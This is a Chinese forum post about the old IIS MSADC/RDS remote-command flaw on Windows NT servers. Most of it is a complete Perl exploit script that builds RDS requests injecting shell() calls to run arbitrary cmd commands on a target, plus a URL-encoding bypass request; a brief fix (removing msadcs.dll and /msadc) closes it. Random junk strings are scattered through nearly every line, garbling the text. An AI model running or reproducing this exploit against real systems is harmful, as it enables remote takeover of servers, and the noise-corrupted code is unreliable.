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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) jU@qQ@|  
w%S\)wjS  
涉及程序: [,8@oM#  
Microsoft NT server >y(;k|-$  
nP0|nPWz#  
描述: O<Ht-TN&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ou6yi; l%  
@4sv(HyDY  
详细: (05/}PhB`  
如果你没有时间读详细内容的话,就删除: 8}XtVF;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll g9<*+fV 2$  
有关的安全问题就没有了。 ",w@_}z:  
['tGc{4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 P"XF|*^U  
QuT8(s1Q!  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 kHo0I8  
关于利用ODBC远程漏洞的描述,请参看: )_,*2|b  
Nm\0>}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \WQ\q \  
J)x-Yhe  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4~P{H/]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp A'c0zWV2  
_o'ii VDuD  
这里不再论述。 #:3ca] k  
=A$5~op%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /v U$62KA  
O7g ?x3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <wW#Wnc]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! P5P:_hr  
l"W9uS;\T  
]EnB`g(4;  
#将下面这段保存为txt文件,然后: "perl -x 文件名" E<:XHjm  
?k TVC  
#!perl +j1s*}8  
# VY<$~9a&1  
# MSADC/RDS 'usage' (aka exploit) script 58DkVQ6  
# FWq+'Gk SV  
# by rain.forest.puppy WJ<nc+/v:  
# M56^p ,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2RFYnDN  
# beta test and find errors! ylUxK{  
fFMGpibkM  
use Socket; use Getopt::Std; p^3 ]Q  
getopts("e:vd:h:XR", \%args); ='`z  
Y4_/G4C  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  s X.L  
EeIV6ug  
if (!defined $args{h} && !defined $args{R}) { + 0{m(%i  
print qq~ Qj.]I0d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } MRR5j;4GK  
-h <host> = host you want to scan (ip or domain) !g  #  
-d <seconds> = delay between calls, default 1 second jV2L;APCq  
-X = dump Index Server path table, if available 6}6;%{p"Gu  
-v = verbose $A;jl`ng  
-e = external dictionary file for step 5 UOJx-o!c?  
3k.{gAZKh  
Or a -R will resume a command session n sKl3}uU  
qjFz}6  
~; exit;} 8UJK]_99I,  
q_bE?j{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; I<`K;El'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} P^&%T?Y6z  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .vE=527g)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^I4'7]n-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} # ` Q3Z}C  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } m2F2  
2&MIt(\-  
if (!defined $args{R}){ $ret = &has_msadc; pM],-7UM  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 'r~,~A I  
UbNA|`H  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" jfP2n5X83  
. "cmd /c "; \3JZ =/  
$in=<STDIN>; chomp $in; &_Ze@Ir-  
$command="cmd /c " . $in ; 3=5K7 F  
K+ZJSfO6  
if (defined $args{R}) {&load; exit;} S96H`kedZo  
mFfw*,M  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; a"SH_+T{  
&try_btcustmr; 2~dUnskyy  
{; #u~e(W  
print "\nStep 2: Trying to make our own DSN..."; H=Scrvfx  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  J@sH(S  
qB6@OS  
print "\nStep 3: Trying known DSNs..."; #S)] `YW  
&known_dsn; q,`"Z)97  
FJ XYKpY[r  
print "\nStep 4: Trying known .mdbs..."; I L ]uw   
&known_mdb; O#LG$Y n*  
pRWEBd1U  
if (defined $args{e}){ &|yQwNA*a"  
print "\nStep 5: Trying dictionary of DSN names..."; *j5>2-C &  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %:2EoXN"  
q.0Evr:  
print "Sorry Charley...maybe next time?\n"; !~Vo'ykwx'  
exit; i[_ (0P+Da  
yM aU`z  
############################################################################## f++MH]I;  
p)6!GdT  
sub sendraw { # ripped and modded from whisker )3K#${p  
sleep($delay); # it's a DoS on the server! At least on mine... mApn[)?tv  
my ($pstr)=@_; R=&9M4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p7et>;WRx  
die("Socket problems\n"); =1Nz* c  
if(connect(S,pack "SnA4x8",2,80,$target)){  lS@0 $  
select(S); $|=1; MDV<[${   
print $pstr; my @in=<S>; ?YE'J~0A6  
select(STDOUT); close(S); -#<6  
return @in; T8<pb^#  
} else { die("Can't connect...\n"); }} .5L|(B=H  
s?Lx\?T  
############################################################################## >QyJRMY  
tfB}U.  
sub make_header { # make the HTTP request .#^ta9^t7  
my $msadc=<<EOT mm}y/dO~}  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Y-2IAJHS8  
User-Agent: ACTIVEDATA 0lpkG ="&r  
Host: $ip NSe H u k  
Content-Length: $clen mj{B_3b5  
Connection: Keep-Alive Lx%*IE|c  
#1Zqq([@  
ADCClientVersion:01.06 +cH,2^&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 di.yh3N$  
R[_Q}W'HG  
--!ADM!ROX!YOUR!WORLD! (~>uFH  
Content-Type: application/x-varg C,;T/9  
Content-Length: $reqlen  +kA>^  
I=aoP}_  
EOT 6/-]  
; $msadc=~s/\n/\r\n/g; (rKyX:Vsy  
return $msadc;} {!RDb'Zp  
J?6.yL;  
############################################################################## 7Qdf#DG  
U ?iw  
sub make_req { # make the RDS request %MG{KG=&o  
my ($switch, $p1, $p2)=@_; E_q/*}]pE  
my $req=""; my $t1, $t2, $query, $dsn; `wI$  
jej.!f:H  
if ($switch==1){ # this is the btcustmr.mdb query ~[8n+p+&X  
$query="Select * from Customers where City=" . make_shell(); YnR8mVo5Q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . q+iG:B/Z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %G0J]QY{(x  
4X-"yQ<U  
elsif ($switch==2){ # this is general make table query CdBpz/  
$query="create table AZZ (B int, C varchar(10))"; bG0 |+k3O  
$dsn="$p1";} _V2^0CZ  
Eep~3U  
elsif ($switch==3){ # this is general exploit table query %x'}aTa  
$query="select * from AZZ where C=" . make_shell(); m:}PVJ-"  
$dsn="$p1";} n[S-bzU^t  
LNz  
elsif ($switch==4){ # attempt to hork file info from index server ./ ]xn  
$query="select path from scope()"; .7 K)'  
$dsn="Provider=MSIDXS;";} j_I[k8z  
:g%hT$,]3b  
elsif ($switch==5){ # bad query WCNycH+1  
$query="select"; -L-#-dK'  
$dsn="$p1";} Ky0}phGRu  
D\:dn  
$t1= make_unicode($query); ^VC /tJ  
$t2= make_unicode($dsn); 45.<eWH$*(  
$req = "\x02\x00\x03\x00"; !S.O~Kq  
$req.= "\x08\x00" . pack ("S1", length($t1)); ,(u-q]8   
$req.= "\x00\x00" . $t1 ; 8H'ybfed  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3_bE12  
$req.= "\x00\x00" . $t2 ; ZLjEH7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; X<%`  
return $req;} @V?T'@W7D  
,`Keqfx  
############################################################################## e{EC# %x_  
?^whK<"]  
sub make_shell { # this makes the shell() statement o3"Nxq"U  
return "'|shell(\"$command\")|'";} ( ]E0fjk  
,.kJF4s&  
############################################################################## U[0x\~[$K  
HLe/|x\@<  
sub make_unicode { # quick little function to convert to unicode zif&;)wV/  
my ($in)=@_; my $out; c"O4=[N: ;  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } [psZc'q  
return $out;} *{_N*p\{  
Pz^C3h$5_  
############################################################################## b(IZ:ekZ5  
6"Ze%:AZZ  
sub rdo_success { # checks for RDO return success (this is kludge) _<E.?K$gbU  
my (@in) = @_; my $base=content_start(@in); ZZ>"LH  
if($in[$base]=~/multipart\/mixed/){ {|d28!8w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ^B_SAZ&%%  
return 0;} PglSQ2P  
<4LW.q  
############################################################################## $:?Dyu(Il  
/78zs-  
sub make_dsn { # this makes a DSN for us TU6(Q,Yi|  
my @drives=("c","d","e","f"); l4gF.-.GYF  
print "\nMaking DSN: "; 4#Xz-5v  
foreach $drive (@drives) { !/ a![Ne  
print "$drive: "; T@Bu Fr`]<  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _Sg"|g  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?8w5tfN6t  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `h|Y0x  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; cP",szcY  
return 0 if $2 eq "404"; # not found/doesn't exist Dm@h'*  
if($2 eq "200") { (@1>G ^%  
foreach $line (@results) { CnpQdI  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} fsl ZJE  
} return 0;} PNo9.-@G  
^e]O-,UBk  
############################################################################## 0HO'%'Ga*  
EI9;J-c  
sub verify_exists { x8xz33  
my ($page)=@_; {Rdh4ZKh  
my @results=sendraw("GET $page HTTP/1.0\n\n"); =@nE:uto]  
return $results[0];} 5DpvMhc_  
J-|&[-Z  
############################################################################## t~H0Qeb[v=  
'3w%K+eJY  
sub try_btcustmr { 5hHLC7tT9  
my @drives=("c","d","e","f"); #bJp)&LO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .=)[S5.BVq  
~,_@|,)  
foreach $dir (@dirs) { BbM/Rd1tAm  
print "$dir -> "; # fun status so you can see progress 1V wcJd  
foreach $drive (@drives) {  _!_^B  
print "$drive: "; # ditto b^STegz  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; YQ@2p?4m  
$reqlenlen=length( "$reqlen" ); p"FWAC!  
$clen= 206 + $reqlenlen + $reqlen; ? 'qyI^m@  
v, CWE  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); V|hwT^h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `W>Sss  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} TCFr-*x  
;PB_ @Zg  
############################################################################## +1a3^A\  
M&jlUr&l  
sub odbc_error { ]h#QA;   
my (@in)=@_; my $base; T, +=ka$  
my $base = content_start(@in);  &1f3e  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this NBXhcfF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; it-]-=mqb  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0x,**6  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !>"fDz<w`  
return $in[$base+4].$in[$base+5].$in[$base+6];} C;5`G *e  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $|g ;  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . HOx+umjxW  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Q5hOVD%  
.p]r S =#  
############################################################################## Dpwqg3,  
#K`0b$  
sub verbose { fLpWTkr0  
my ($in)=@_; ek.@ 0c  
return if !$verbose; rq^%)tR  
print STDOUT "\n$in\n";} =k*XGbU  
s3T7M:DM4  
############################################################################## [K@(,/$  
ySB0"bl  
sub save { c^O&A\+;  
my ($p1, $p2, $p3, $p4)=@_; @eZBwFe  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; qDTdYf  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; D66NF;7q  
close OUT;} *T#^|<.XG  
oY5`r)C7  
############################################################################## $bD`B'5  
[mv!r-=  
sub load { 5*f54g"'  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; mlCBstt{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); f`KO#Wc  
@p=<IN>; close(IN); }OhSCH'o6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); W"*2,R[}%  
$target= inet_aton($ip) || die("inet_aton problems");  H2oxD$s  
print "Resuming to $ip ..."; !-N!Bt8;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; -$kIVh  
if($p[1]==1) { b\KbF/ T  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FrUqfTi+W  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Q% d1O  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); m[(_fOd  
if (rdo_success(@results)){print "Success!\n";} 6:L2oW 6}{  
else { print "failed\n"; verbose(odbc_error(@results));}} :<s`)  
elsif ($p[1]==3){ ZW9OPwV  
if(run_query("$p[3]")){ K@JaN/OM  
print "Success!\n";} else { print "failed\n"; }} ]v0Z[l>yf  
elsif ($p[1]==4){ SSxz1y  
if(run_query($drvst . "$p[3]")){ 7p hf  
print "Success!\n"; } else { print "failed\n"; }} $}r.fji,c  
exit;} }zS5o [OE  
BVj(Q}f8  
############################################################################## liG|#ny{  
 sa&`CEa  
sub create_table { O_ZYm{T[7  
my ($in)=@_; u}%6=V  
$reqlen=length( make_req(2,$in,"") ) - 28; !Vg=l[  
$reqlenlen=length( "$reqlen" ); 3z, Ci$[  
$clen= 206 + $reqlenlen + $reqlen; K,JK9)T  
my @results=sendraw(make_header() . make_req(2,$in,"")); \EU^`o+  
return 1 if rdo_success(@results); \@yJbhk  
my $temp= odbc_error(@results); verbose($temp); /M::x+/T  
return 1 if $temp=~/Table 'AZZ' already exists/; w[\rS`J  
return 0;} w3"L5;oH  
`Oi#`lC\  
############################################################################## AC'_#nPL#  
^a`3)WBv8  
sub known_dsn { 1og+(m`BL  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go G&Dl($  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", |`Noj+T47I  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (hdu+^Qj=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); SASLeGaV  
/:Gy .  
foreach $dSn (@dsns) { rjiHP;-t1  
print "."; jDqG9]  
next if (!is_access("DSN=$dSn")); +}M3O]?4  
if(create_table("DSN=$dSn")){ `'^o45  
print "$dSn successful\n"; ;x 2o|#`b  
if(run_query("DSN=$dSn")){ Z\Ur F0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  T&MhSJf#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $Hj;i/zD  
r#2Fk &Z9  
############################################################################## Z~QLjv&$/r  
|dbKK\ X9  
sub is_access { tK .1 *  
my ($in)=@_; 4p-"1 c$  
$reqlen=length( make_req(5,$in,"") ) - 28; /gl8w-6  
$reqlenlen=length( "$reqlen" ); 0^dYu /i5  
$clen= 206 + $reqlenlen + $reqlen; Z]R#F0"U  
my @results=sendraw(make_header() . make_req(5,$in,"")); qB,0(I1-!  
my $temp= odbc_error(@results); 0IdA!.|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); H8[A*uYL  
return 0;} oSmETk\  
jwAYlnQ^EM  
############################################################################## ypG*41  
1AN$s  
sub run_query { ppNMXbXR  
my ($in)=@_; s2NBYDi$?  
$reqlen=length( make_req(3,$in,"") ) - 28; c ?EvrtND  
$reqlenlen=length( "$reqlen" ); 7(X z%v   
$clen= 206 + $reqlenlen + $reqlen; GM'yOJo  
my @results=sendraw(make_header() . make_req(3,$in,"")); YI;iG[T,&  
return 1 if rdo_success(@results); G"E_4YkJ  
my $temp= odbc_error(@results); verbose($temp); >;hAw!|#  
return 0;} i>,AnkI&  
 U-4F  
############################################################################## ~CkOiWC0  
{ri={p]l  
sub known_mdb { jLt3jN  
my @drives=("c","d","e","f","g"); LtX53c  
my @dirs=("winnt","winnt35","winnt351","win","windows"); e2N K7  
my $dir, $drive, $mdb; v\4<6Z:4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *9$SFe|&n:  
jq*`| m;Q  
# this is sparse, because I don't know of many +x}9a~QG#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", P "IR3=  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", V`#2jDz  
"\\system32\\certmdb.mdb", q)Nw$dW<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% )MK $E,W  
Ze8.+Ee  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?#xm6oe#aH  
"\\cfusion\\cfapps\\forums\\forums_.mdb", &e:+;7  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^}p##7t [  
"\\cfusion\\cfapps\\security\\realm_.mdb", T:Nk9t$W7@  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", B+U:=591  
"\\cfusion\\database\\cfexamples.mdb", WEe7\bWF  
"\\cfusion\\database\\cfsnippets.mdb", 4F G0'J&hw  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", W"_<SYVJ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [bP^RY:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", eBnx$  
"\\cfusion\\database\\smpolicy.mdb", pKy4***I3  
"\\cfusion\\database\cypress.mdb", 6(d6Uwc`  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", < A8>To<  
"\\website\\cgi-win\\dbsample.mdb", 6V]m0{:E  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", :,aY|2si  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Sk>=C0f:  
); #these are just !pw )sO~  
foreach $drive (@drives) { t~j 6wsx;  
foreach $dir (@dirs){ \q1tT!]  
foreach $mdb (@sysmdbs) { $1|E(d1  
print "."; Vez8 ~r3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 'WE"$1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; CAC4A   
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3MNM<Ih  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; "W%YsN0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A| A#|D  
c_*w<vJ-'  
foreach $drive (@drives) { > B@c74  
foreach $mdb (@mdbs) { >bze0`}Z  
print "."; s. A}ydtt  
if(create_table($drv . $drive . $dir . $mdb)){ EUuSN| a  
print "\n" . $drive . $dir . $mdb . " successful\n"; <JWU@A-.y  
if(run_query($drv . $drive . $dir . $mdb)){ rY45.,qWs  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; mLZ1u\ 7W  
} else { print "Something's borked. Use verbose next time\n"; }}}} G@`F{l  
} X\ P%C  
-i2rcH  
############################################################################## rx2'].  
|_TI/i>?'  
sub hork_idx { px K&aY8  
print "\nAttempting to dump Index Server tables...\n"; "nu]3zcd  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; sb{K%xi%  
$reqlen=length( make_req(4,"","") ) - 28; zG6l8%q'UE  
$reqlenlen=length( "$reqlen" ); !9_(y~g{N  
$clen= 206 + $reqlenlen + $reqlen; "4\  
my @results=sendraw2(make_header() . make_req(4,"","")); 7[;!enO  
if (rdo_success(@results)){ { sC Ni  
my $max=@results; my $c; my %d; A5yVxSF  
for($c=19; $c<$max; $c++){ U_5`  
$results[$c]=~s/\x00//g; uW!XzX['  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; MmjZq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lxL.ztL  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #Z2 'Y[@.  
$d{"$1$2"}="";} ?QT6q]|d0+  
foreach $c (keys %d){ print "$c\n"; } w/m@(EBK  
} else {print "Index server doesn't seem to be installed.\n"; }} '?veMX  
w/nohZF6H  
############################################################################## %o%V4K*  
?<!q F:r:  
sub dsn_dict { W^ L ^7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); /_qq(,3  
while(<IN>){ r3g^ 0|)  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Ia#!T"]@W6  
next if (!is_access("DSN=$dSn")); FHr)xqo=~  
if(create_table("DSN=$dSn")){ /o;L,mcx*  
print "$dSn successful\n"; W"vLCHTh  
if(run_query("DSN=$dSn")){ tjx8 UgSi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hXjZ>n``  
print "Something's borked. Use verbose next time\n";}}} 1 6zxPSTr}  
print "\n"; close(IN);} BeVDTk :  
fasW b&~z  
############################################################################## +112{v=!i  
]64}Xob87_  
sub sendraw2 { # ripped and modded from whisker B~Kx Up  
sleep($delay); # it's a DoS on the server! At least on mine... ?/3wO/7[  
my ($pstr)=@_; z.cDbkf}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H1kI+YJ@  
die("Socket problems\n"); B&a{,.m&q6  
if(connect(S,pack "SnA4x8",2,80,$target)){ FFcCoPX_  
print "Connected. Getting data"; Z2$_9.  
open(OUT,">raw.out"); my @in; 5 qfvHQ ~M  
select(S); $|=1; print $pstr; imYfRi=$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} H<_Tn$<zH.  
close(OUT); select(STDOUT); close(S); return @in; G)?*BH  
} else { die("Can't connect...\n"); }} J.1 c,@  
R xITMt  
############################################################################## \yJ 4+vo2Q  
DPzW,aIgv  
sub content_start { # this will take in the server headers !+PrgIp>  
my (@in)=@_; my $c; ISpV={$Zd  
for ($c=1;$c<500;$c++) { y5j:+2|I  
if($in[$c] =~/^\x0d\x0a/){ :.*Q@X}-I  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } CXrOb+  
else { return $c+1; }}} a|u#w~  
return -1;} # it should never get here actually ZTzec zXpQ  
9<_hb1'  
##############################################################################  +x 3x  
gLv+L]BnhH  
sub funky { aA|{r/.10K  
my (@in)=@_; my $error=odbc_error(@in); %[p*6&V  
if($error=~/ADO could not find the specified provider/){ `}),wBq  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; })-V,\  
exit;} 1YV1 Xnn,  
if($error=~/A Handler is required/){ 6m;>R%S_  
print "\nServer has custom handler filters (they most likely are patched)\n"; *m"9F'(Sd  
exit;} 9xK>fM&u  
if($error=~/specified Handler has denied Access/){ @n)? =[p  
print "\nServer has custom handler filters (they most likely are patched)\n"; / 3N2?zS{  
exit;}} ~JL qh  
_VT{2`|})  
############################################################################## ,H7_eVLWR  
qIZ+%ZOu  
sub has_msadc { pWRdI_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); lm4A%4-db  
my $base=content_start(@results); 'r!!W0-K  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); W/2y; @  
return 0;} M +OVqTsFU  
uQW)pD{_  
######################## .:j{d}p}  
q0+N#$g#  
-NwG' U~  
解决方案: 3%)cUkD  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll `Vw G]2 I  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 QIkFX.^  
`C>h]H(  
拿出来充数 哈哈
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